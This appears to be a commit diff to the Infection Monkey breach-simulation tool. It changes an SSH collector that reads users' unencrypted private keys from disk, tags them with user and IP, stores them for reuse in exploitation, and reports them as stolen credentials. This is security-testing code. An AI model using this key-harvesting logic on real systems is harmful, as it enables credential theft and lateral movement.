forked from p15670423/monkey
Does not store encrypted or already present ssh keys, shows all users from whom SSH private key were stolen under "stolen credentials" in report
This commit is contained in:
parent
5f194b70f2
commit
f45cebfd5e
|
@ -60,14 +60,19 @@ class SSHCollector(object):
|
|||
LOG.info("Found public key in %s" % public)
|
||||
try:
|
||||
with open(public) as f:
|
||||
info['public_key'] = f.read()
|
||||
info['public_key'] = f.read()
|
||||
# By default private key has the same name as public, only without .pub
|
||||
private = os.path.splitext(public)[0]
|
||||
if os.path.exists(private):
|
||||
try:
|
||||
with open(private) as f:
|
||||
info['private_key'] = f.read()
|
||||
LOG.info("Found private key in %s" % private)
|
||||
# no use from ssh key if it's encrypted
|
||||
private_key = f.read()
|
||||
if private_key.find('ENCRYPTED') == -1:
|
||||
info['private_key'] = private_key
|
||||
LOG.info("Found private key in %s" % private)
|
||||
else:
|
||||
continue
|
||||
except (IOError, OSError):
|
||||
pass
|
||||
# By default known hosts file is called 'known_hosts'
|
||||
|
@ -79,6 +84,9 @@ class SSHCollector(object):
|
|||
LOG.info("Found known_hosts in %s" % known_hosts)
|
||||
except (IOError, OSError):
|
||||
pass
|
||||
# If private key found don't search more
|
||||
if info['private_key']:
|
||||
break
|
||||
except (IOError, OSError):
|
||||
pass
|
||||
except OSError:
|
||||
|
|
|
@ -170,6 +170,8 @@ class Telemetry(flask_restful.Resource):
|
|||
if 'ssh_info' in telemetry_json['data']:
|
||||
ssh_info = telemetry_json['data']['ssh_info']
|
||||
Telemetry.encrypt_system_info_creds({}, ssh_info)
|
||||
if telemetry_json['data']['network_info']['networks']:
|
||||
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
|
||||
Telemetry.add_system_info_creds_to_config({}, ssh_info)
|
||||
if 'credentials' in telemetry_json['data']:
|
||||
creds = telemetry_json['data']['credentials']
|
||||
|
@ -177,6 +179,11 @@ class Telemetry(flask_restful.Resource):
|
|||
Telemetry.add_system_info_creds_to_config(creds)
|
||||
Telemetry.replace_user_dot_with_comma(creds)
|
||||
|
||||
@staticmethod
|
||||
def add_ip_to_ssh_keys(ip, ssh_info):
|
||||
for key in ssh_info:
|
||||
key['ip'] = ip['addr']
|
||||
|
||||
@staticmethod
|
||||
def process_trace_telemetry(telemetry_json):
|
||||
# Nothing to do
|
||||
|
@ -217,7 +224,8 @@ class Telemetry(flask_restful.Resource):
|
|||
ConfigService.creds_add_username(user['name'])
|
||||
# Public key is useless without private key
|
||||
if user['public_key'] and user['private_key']:
|
||||
ConfigService.ssh_add_keys(user['public_key'], user['private_key'])
|
||||
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
|
||||
user['name'], user['ip'])
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -897,9 +897,17 @@ class ConfigService:
|
|||
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
|
||||
|
||||
@staticmethod
|
||||
def ssh_add_keys(public_key, private_key):
|
||||
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
|
||||
{"public_key": public_key, "private_key": private_key})
|
||||
def ssh_add_keys(public_key, private_key, user, ip):
|
||||
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal'], False, False)
|
||||
['exploits']['exploit_ssh_keys'],
|
||||
user, ip):
|
||||
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
|
||||
{"public_key": public_key, "private_key": private_key,
|
||||
"user": user, "ip": ip})
|
||||
|
||||
@staticmethod
|
||||
def ssh_key_exists(keys, user, ip):
|
||||
return [key for key in keys if key['user'] == user and key['ip'] == ip]
|
||||
|
||||
@staticmethod
|
||||
def update_config(config_json, should_encrypt):
|
||||
|
|
|
@ -149,6 +149,27 @@ class ReportService:
|
|||
)
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def get_ssh_keys():
|
||||
"""
|
||||
Return private ssh keys found as credentials
|
||||
:return: List of credentials
|
||||
"""
|
||||
creds = []
|
||||
for telem in mongo.db.telemetry.find(
|
||||
{'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
|
||||
{'data.ssh_info': 1, 'monkey_guid': 1}
|
||||
):
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
if telem['data']['ssh_info']:
|
||||
# Pick out all ssh keys not yet included in creds
|
||||
ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
|
||||
'origin': origin} for key_pair in telem['data']['ssh_info']
|
||||
if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
|
||||
'origin': origin} not in creds]
|
||||
creds.extend(ssh_keys)
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def get_azure_creds():
|
||||
"""
|
||||
|
@ -433,6 +454,7 @@ class ReportService:
|
|||
'exploited': ReportService.get_exploited(),
|
||||
'stolen_creds': ReportService.get_stolen_creds(),
|
||||
'azure_passwords': ReportService.get_azure_creds(),
|
||||
'ssh_keys': ReportService.get_ssh_keys()
|
||||
},
|
||||
'recommendations':
|
||||
{
|
||||
|
|
|
@ -414,7 +414,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||
</div>
|
||||
<div>
|
||||
<StolenPasswords data={this.state.report.glance.stolen_creds}/>
|
||||
<StolenPasswords data={this.state.report.glance.stolen_creds, this.state.report.glance.ssh_keys}/>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
|
Loading…
Reference in New Issue